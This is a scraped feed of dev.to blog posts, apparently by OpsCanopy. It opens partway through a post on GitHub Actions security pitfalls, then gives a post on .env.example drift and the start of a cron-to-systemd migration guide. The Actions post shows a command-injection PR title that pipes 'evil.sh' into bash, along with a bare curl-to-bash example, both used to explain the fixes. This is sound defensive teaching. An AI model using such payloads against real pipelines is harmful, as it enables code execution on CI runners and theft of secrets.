  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;echo "Building PR&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event.pull_request.title }}"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A PR titled &lt;code&gt;"; curl evil.sh | bash #&lt;/code&gt; turns that single &lt;code&gt;echo&lt;/code&gt; into two commands. The fix is to pass the untrusted value through an environment variable. Variables set in &lt;code&gt;env:&lt;/code&gt; are not interpolated by the runner — the shell receives them as data, and quoting them keeps them inert.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# FIXED — value arrives as data, never as code&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Greet&lt;/span&gt;
  &lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;PR_TITLE&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event.pull_request.title }}&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;echo "Building PR&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="s"&gt;$PR_TITLE"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why it matters: it’s the easiest privilege escalation in CI and it needs no special trigger — any workflow that echoes user-supplied text is a candidate. The &lt;code&gt;env:&lt;/code&gt; indirection costs two lines and closes the hole completely.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Third-party actions pinned to a tag
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;uses: some/action@v3&lt;/code&gt; resolves a mutable tag. The owner — or anyone who compromises that account — can move &lt;code&gt;v3&lt;/code&gt; to point at new code, and your next run pulls it without you changing a thing. Tags are convenience aliases, not integrity guarantees.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# BAD — mutable reference, can change under you&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;tj-actions/changed-files@v44&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pin third-party actions to a &lt;strong&gt;full 40-character commit SHA&lt;/strong&gt;. A SHA is immutable: the only way to change what runs is for you to bump it deliberately, which is exactly the review point you want. Keep the human-readable version in a trailing comment so updates stay legible, and let Dependabot bump the pins for you.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# FIXED — immutable, auditable pin&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;tj-actions/changed-files@a284dc1814e3fd07f2e34267fc8f81227ed29fb8&lt;/span&gt; &lt;span class="c1"&gt;# v44.5.7&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why it matters: the March 2024 &lt;code&gt;tj-actions/changed-files&lt;/code&gt; compromise — where a malicious commit was pushed behind existing tags and dumped secrets from thousands of repos — only affected workflows pinned to tags. SHA-pinned consumers were untouched.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Over-broad &lt;code&gt;GITHUB_TOKEN&lt;/code&gt; permissions
&lt;/h2&gt;

&lt;p&gt;If you never declare &lt;code&gt;permissions:&lt;/code&gt;, the automatic &lt;code&gt;GITHUB_TOKEN&lt;/code&gt; may default to broad read/write across the repo, depending on org and repo settings. That means a compromised step — say, a malicious dependency — can push commits, edit releases, or open pull requests using your own token.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# BAD — no permissions block, token inherits broad defaults&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;push&lt;/span&gt;
&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;test&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@v4&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;npm ci &amp;amp;&amp;amp; npm test&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Set a &lt;strong&gt;read-only default at the top of the workflow&lt;/strong&gt;, then grant write scopes only to the specific jobs that need them. Most CI jobs need nothing more than &lt;code&gt;contents: read&lt;/code&gt;. A job that publishes a release or pushes a comment gets exactly that one scope and no more.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# FIXED — least privilege, scoped per job&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;push&lt;/span&gt;
&lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;contents&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;read&lt;/span&gt;            &lt;span class="c1"&gt;# workflow-wide default&lt;/span&gt;
&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;test&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@v4&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;npm ci &amp;amp;&amp;amp; npm test&lt;/span&gt;
  &lt;span class="na"&gt;release&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;needs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;test&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
    &lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;contents&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;write&lt;/span&gt;       &lt;span class="c1"&gt;# only this job can write&lt;/span&gt;
    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@v4&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;./scripts/publish.sh&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why it matters: least privilege turns “a compromised step owns the repo” into “a compromised step can read code it could already see.” It’s the cheapest blast-radius reduction you can make.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. &lt;code&gt;curl | bash&lt;/code&gt; inside a step
&lt;/h2&gt;

&lt;p&gt;Piping a remote script straight into a shell runs whatever that URL serves &lt;em&gt;at the moment of the run&lt;/em&gt;, with no pin, no checksum, and no review. If the host is compromised, or DNS is hijacked, or the maintainer simply pushes a bad version, it executes on your runner with your token in scope.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# BAD — runs whatever the URL serves, unverified&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;curl -sSL https://example.com/install.sh | bash&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pin the installer to a known version and verify its checksum before executing — or, better, use a vetted, SHA-pinned setup action that already does this. The point is to make “what code ran” a fact you can reconstruct after the fact.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# FIXED — download, verify, then run&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
    &lt;span class="s"&gt;curl -fsSL -o install.sh https://example.com/v1.2.3/install.sh&lt;/span&gt;
    &lt;span class="s"&gt;echo "9b74c9897bac770ffc029102a200c5de  install.sh" | md5sum -c -&lt;/span&gt;
    &lt;span class="s"&gt;bash install.sh&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why it matters: &lt;code&gt;curl | bash&lt;/code&gt; is an unsigned, unversioned dependency you re-fetch on every run. Pinning and verifying turns a blind trust into an auditable one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Catch these before they merge
&lt;/h2&gt;

&lt;p&gt;Every one of these passes a YAML schema check, which is why a syntax linter sails right past them. They’re reachability and trust problems, not parse problems — and they’re exactly what review is supposed to catch but rarely does at a glance.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;GitHub Actions Validator&lt;/strong&gt; checks all five, client-side, the moment you paste a workflow: it flags &lt;code&gt;pull_request_target&lt;/code&gt; checkouts of untrusted refs, &lt;code&gt;${{ }}&lt;/code&gt; interpolation in &lt;code&gt;run:&lt;/code&gt; steps, unpinned third-party actions, missing or over-broad &lt;code&gt;permissions:&lt;/code&gt;, and &lt;code&gt;curl | bash&lt;/code&gt; invocations — alongside the ordinary YAML errors. Nothing uploads; your workflow never leaves the browser.&lt;/p&gt;

&lt;p&gt;If you’ve ever shipped a workflow and hoped it was safe, this is the step that makes sure.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/github-actions-validator"&gt;Try the GitHub Actions Validator →&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://opscanopy.com" rel="noopener noreferrer"&gt;OpsCanopy&lt;/a&gt;. Try it free, in your browser: &lt;a href="https://opscanopy.com/github-actions-validator" rel="noopener noreferrer"&gt;GitHub Actions Validator&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>github</category>
      <category>security</category>
      <category>cicd</category>
      <category>devops</category>
    </item>
    <item>
      <title>Stop shipping a stale .env.example</title>
      <dc:creator>opscanopy</dc:creator>
      <pubDate>Sat, 13 Jun 2026 07:31:42 +0000</pubDate>
      <link>https://dev.to/opscanopy/stop-shipping-a-stale-envexample-3h5p</link>
      <guid>https://dev.to/opscanopy/stop-shipping-a-stale-envexample-3h5p</guid>
      <description>&lt;p&gt;A &lt;code&gt;.env.example&lt;/code&gt; is the one file in your repo that nobody runs, nobody tests, and everybody trusts. It’s the contract a new teammate reads on day one to answer the only question that matters: which environment variables do I need to set before this thing boots? When that file is right, onboarding is a five-minute copy-and-fill. When it’s wrong, you get the most demoralising kind of bug — the app crashes on startup with &lt;code&gt;undefined is not a function&lt;/code&gt;, or worse, runs happily with a feature silently disabled because a flag defaulted to off.&lt;/p&gt;

&lt;p&gt;The problem is that &lt;code&gt;.env.example&lt;/code&gt; is documentation, and documentation drifts. Code that reads &lt;code&gt;process.env.STRIPE_WEBHOOK_SECRET&lt;/code&gt; ships in a feature branch. The example file doesn’t get the new key because adding it isn’t part of “make the feature work” — it’s part of “be kind to the next person,” and that step is invisible until someone hits it. Multiply that across a year of merges and the example file becomes a museum of variables you used to need, missing half the ones you actually do.&lt;/p&gt;

&lt;h2&gt;
  
  
  How drift actually happens
&lt;/h2&gt;

&lt;p&gt;Drift is never a single dramatic event. It’s the accumulation of small, reasonable omissions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A new integration adds &lt;code&gt;SENTRY_DSN&lt;/code&gt; and &lt;code&gt;SENTRY_ENVIRONMENT&lt;/code&gt;. The PR author has them in their local &lt;code&gt;.env&lt;/code&gt;, so the app works for them — and the example file never learns about them.&lt;/li&gt;
&lt;li&gt;A feature gets ripped out. The code referencing &lt;code&gt;LEGACY_BILLING_URL&lt;/code&gt; is deleted, but the key lingers in &lt;code&gt;.env.example&lt;/code&gt; forever, so newcomers dutifully fill in a value that does nothing.&lt;/li&gt;
&lt;li&gt;A variable gets renamed from &lt;code&gt;DB_URL&lt;/code&gt; to &lt;code&gt;DATABASE_URL&lt;/code&gt; in code, but the example still advertises the old name. Now the file is actively misleading.&lt;/li&gt;
&lt;li&gt;A key is read in only one rarely-touched worker, so it never surfaces in casual testing — until that worker is deployed to a fresh environment with no value set.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;None of these trip your linter, your type checker, or your tests. The example file isn’t part of the build graph, so nothing tells you it’s out of sync. The only feedback loop is a human getting burned.&lt;/p&gt;

&lt;h2&gt;
  
  
  The two failure modes
&lt;/h2&gt;

&lt;p&gt;There are exactly two ways the example file can be wrong, and they fail in opposite directions:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Missing keys&lt;/strong&gt; are variables your code reads that the example doesn’t mention. These are the dangerous ones. A missing key means a fresh checkout boots into an undefined state — a crash if you’re lucky, a silent misconfiguration if you’re not.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Unused keys&lt;/strong&gt; are variables the example advertises that no code reads anymore. These are merely wasteful: they make the file longer, they make people provision secrets they don’t need, and they erode trust in the file as a source of truth. If three keys turn out to be dead, why would you believe the other twenty?&lt;/p&gt;

&lt;p&gt;A healthy example file has neither. Every variable the code reads appears in the example, and every variable in the example is actually read somewhere.&lt;/p&gt;

&lt;h2&gt;
  
  
  What “reads a variable” looks like across languages
&lt;/h2&gt;

&lt;p&gt;Detecting drift means parsing two things: the set of variables your code references, and the set of keys your example declares. The reference side is the tricky half because every ecosystem spells it differently:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Node.js — the classic&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;STRIPE_SECRET_KEY&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;DATABASE_URL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;REDIS_URL&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// Vite / browser builds&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;api&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;meta&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;VITE_API_BASE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Python — os.environ and os.getenv
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;
&lt;span class="n"&gt;secret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;DJANGO_SECRET_KEY&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;debug&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;DEBUG&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;false&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="c"&gt;// Go — os.Getenv and os.LookupEnv&lt;/span&gt;
&lt;span class="n"&gt;addr&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"LISTEN_ADDR"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ok&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;LookupEnv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"GITHUB_TOKEN"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Shell — direct expansion&lt;/span&gt;
: &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;WEBHOOK_URL&lt;/span&gt;:?must&lt;span class="p"&gt; be set&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$DEPLOY_ENV&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The example side is comparatively uniform — a list of &lt;code&gt;KEY=value&lt;/code&gt; lines, often with comments and blank sections:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# .env.example&lt;/span&gt;
&lt;span class="c"&gt;# --- Core ---&lt;/span&gt;
&lt;span class="nv"&gt;DATABASE_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;postgres://localhost:5432/app
&lt;span class="nv"&gt;REDIS_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;redis://localhost:6379

&lt;span class="c"&gt;# --- Payments ---&lt;/span&gt;
&lt;span class="nv"&gt;STRIPE_SECRET_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="c"&gt;# STRIPE_WEBHOOK_SECRET is set in code but missing here ↓&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Set-subtract the two and the drift falls right out. Keys referenced in code but absent from the example are &lt;strong&gt;missing&lt;/strong&gt;. Keys present in the example but referenced nowhere are &lt;strong&gt;unused&lt;/strong&gt;. Everything in the intersection is fine.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why a quick diff beats a &lt;code&gt;grep&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;You can absolutely cobble this together with &lt;code&gt;grep -rhoE 'process\.env\.[A-Z_]+'&lt;/code&gt; piped through &lt;code&gt;sort -u&lt;/code&gt; and compared against &lt;code&gt;cut -d= -f1 .env.example&lt;/code&gt;. People do, and it half-works. The trouble is the edge cases that a one-off regex always misses:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Destructured access (&lt;code&gt;const { FOO } = process.env&lt;/code&gt;) that the naive pattern doesn’t catch.&lt;/li&gt;
&lt;li&gt;Commented-out keys in the example that shouldn’t count as “declared.”&lt;/li&gt;
&lt;li&gt;Quoted values, &lt;code&gt;export&lt;/code&gt; prefixes, and inline comments that throw off a dumb &lt;code&gt;cut&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Multiple frameworks in one repo (&lt;code&gt;process.env&lt;/code&gt; and &lt;code&gt;import.meta.env&lt;/code&gt; and &lt;code&gt;os.getenv&lt;/code&gt;), each needing a different pattern.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;By the time you’ve handled all of those, your “quick” shell pipeline is a brittle script nobody wants to maintain. A purpose-built checker handles the access patterns and the example-file quirks consistently, and it does it without you pasting secrets into a remote service.&lt;/p&gt;

&lt;h2&gt;
  
  
  Keeping the file honest
&lt;/h2&gt;

&lt;p&gt;Detection is the first step; keeping drift from coming back is the second. A few habits help:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Make the example the source of truth.&lt;/strong&gt; Some teams load &lt;code&gt;.env.example&lt;/code&gt; at startup in development and warn on any key in code that isn’t declared there. The file stops being optional.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Check it in review.&lt;/strong&gt; Treat a new &lt;code&gt;process.env.X&lt;/code&gt; without a matching example line the same way you’d treat a new public function without a doc comment.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prune on delete.&lt;/strong&gt; When you remove a feature, search the example for its keys too. Dead keys are easy to leave behind.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Run the diff before you open the PR.&lt;/strong&gt; Catching drift takes seconds and saves the next person an afternoon.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Catch it before you commit
&lt;/h2&gt;

&lt;p&gt;The fastest way to know your example file is honest is to diff it against your actual code. &lt;strong&gt;Env Example Checker&lt;/strong&gt; does exactly that in the browser: paste your source and your &lt;code&gt;.env.example&lt;/code&gt;, and it reports the variables your code uses but the example is missing, plus the keys the example declares that nothing reads. It runs entirely client-side — your code and secrets never leave the page — so you can run it on a private repo without a second thought.&lt;/p&gt;

&lt;p&gt;Before your next pull request, give the next developer a &lt;code&gt;.env.example&lt;/code&gt; they can actually trust.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/env-example-checker"&gt;Check your .env.example for drift →&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://opscanopy.com" rel="noopener noreferrer"&gt;OpsCanopy&lt;/a&gt;. Try it free, in your browser: &lt;a href="https://opscanopy.com/env-example-checker" rel="noopener noreferrer"&gt;Env Example Checker&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>devops</category>
      <category>productivity</category>
      <category>tooling</category>
    </item>
    <item>
      <title>Migrating from cron to systemd timers</title>
      <dc:creator>opscanopy</dc:creator>
      <pubDate>Sat, 13 Jun 2026 07:27:57 +0000</pubDate>
      <link>https://dev.to/opscanopy/migrating-from-cron-to-systemd-timers-30l4</link>
      <guid>https://dev.to/opscanopy/migrating-from-cron-to-systemd-timers-30l4</guid>
      <description>&lt;p&gt;Cron has run the world’s scheduled jobs for forty years, and on most servers it still works fine. But the moment a job needs structured logging, a controlled environment, dependency ordering, or a way to catch up after the machine was off, the cron model starts to creak. That’s where systemd timers come in — and if your distribution already runs systemd (Debian, Ubuntu, RHEL, Fedora, Arch, SUSE all do), you have a more capable scheduler sitting unused.&lt;/p&gt;

&lt;p&gt;This post walks through what actually changes when you migrate, with real units you can adapt.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why bother moving off cron
&lt;/h2&gt;

&lt;p&gt;Cron is a single line. That brevity is its appeal and its ceiling:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Logging.&lt;/strong&gt; A cron job’s output goes wherever you redirect it, and if you forget, it’s emailed to a mailbox nobody reads. A systemd service writes to the journal automatically — &lt;code&gt;journalctl -u myjob.service&lt;/code&gt; shows you every run, with timestamps and exit codes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Environment.&lt;/strong&gt; Cron runs with a deliberately minimal &lt;code&gt;PATH&lt;/code&gt; and almost no environment, which is the classic “works in my shell, fails in cron” trap. A service unit declares its environment explicitly.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Missed runs.&lt;/strong&gt; If the host is asleep or powered off at the scheduled minute, cron simply skips the job. A timer with &lt;code&gt;Persistent=true&lt;/code&gt; runs it as soon as the machine is back.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Overlap and resources.&lt;/strong&gt; systemd won’t start a second copy of a job while the first is still running, and you can attach &lt;code&gt;CPUQuota=&lt;/code&gt;, &lt;code&gt;MemoryMax=&lt;/code&gt;, and other resource controls to a unit.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You don’t need to migrate everything. But for jobs where a silent failure costs you, timers are worth the two files they require.&lt;/p&gt;

&lt;h2&gt;
  
  
  The two-file model
&lt;/h2&gt;

&lt;p&gt;A cron line does scheduling and execution in one place. systemd splits this into a &lt;strong&gt;service&lt;/strong&gt; (what to run) and a &lt;strong&gt;timer&lt;/strong&gt; (when to run it). They share a base name.&lt;/p&gt;

&lt;p&gt;Take this crontab entry — run a backup script every day at 02:30:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;30 2 * * * /usr/local/bin/backup.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That becomes two units in &lt;code&gt;/etc/systemd/system/&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The service, &lt;code&gt;backup.service&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="nn"&gt;[Unit]&lt;/span&gt;
&lt;span class="py"&gt;Description&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;Nightly backup&lt;/span&gt;
&lt;span class="py"&gt;Wants&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;network-online.target&lt;/span&gt;
&lt;span class="py"&gt;After&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;network-online.target&lt;/span&gt;

&lt;span class="nn"&gt;[Service]&lt;/span&gt;
